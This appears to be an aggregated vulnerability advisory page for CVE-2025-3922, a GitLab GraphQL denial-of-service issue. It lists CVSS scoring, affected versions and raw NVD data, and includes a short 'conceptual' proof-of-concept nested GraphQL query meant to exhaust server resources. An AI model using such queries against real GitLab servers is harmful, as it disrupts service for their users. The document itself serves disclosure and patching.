Security Vulnerability Report
中文
CVE-2025-3922 CVSS 6.5 MEDIUM

CVE-2025-3922

Published: 2026-04-22 17:16:33
Last Modified: 2026-04-23 20:50:26

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 12.4 before 18.9.6, 18.10 before 18.10.4, and 18.11 before 18.11.1 that could have allowed an authenticated user to cause denial of service by overwhelming system resources under certain conditions due to insufficient resource allocation limits in the GraphQL API.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE >= 12.4, < 18.9.6
GitLab CE/EE >= 18.10, < 18.10.4
GitLab CE/EE >= 18.11, < 18.11.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
query { project(fullPath: "root/test-project") { issues(first: 100) { nodes { awardEmojis(first: 100) { nodes { user { status { message } } } } } } } } # Note: This is a conceptual example of a complex nested query. # Exploitation involves sending queries that overwhelm server resources.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-3922", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:33.123", "lastModified": "2026-04-23T20:50:26.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 12.4 before 18.9.6, 18.10 before 18.10.4, and 18.11 before 18.11.1 that could have allowed an authenticated user to cause denial of service by overwhelming system resources under certain conditions due to insufficient resource allocation limits in the GraphQL API."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "12.4.0", "versionEndExcluding": "18.9.6", "matchCriteriaId": "A8C006EB-2168-4565-BA7D-0D14969C3E77"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "12.4.0", "versionEndExcluding": "18.9.6", "matchCriteriaId": "41D67F06-D700-4323-8893-9AD616F8E965"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.4", "matchCriteriaId": "98D16D9B-6A45-45F3-934B-3ED95C8371BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.4", "matchCriteriaId": "58B8096F-9D7B-403D-B685-E9D4FA24F3E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:community:*:*:*", "matchCriteriaId": "A6100523-821F-4F41-872D-AC5A60EECC19"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "C78F9577-CDD5-497B-A92F-3C578AC6709E"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/04/22/patch-release-gitlab-18-11-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/537422", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3098035", "source": "[email protected]", "tags": ["Permissions Required"]}]}}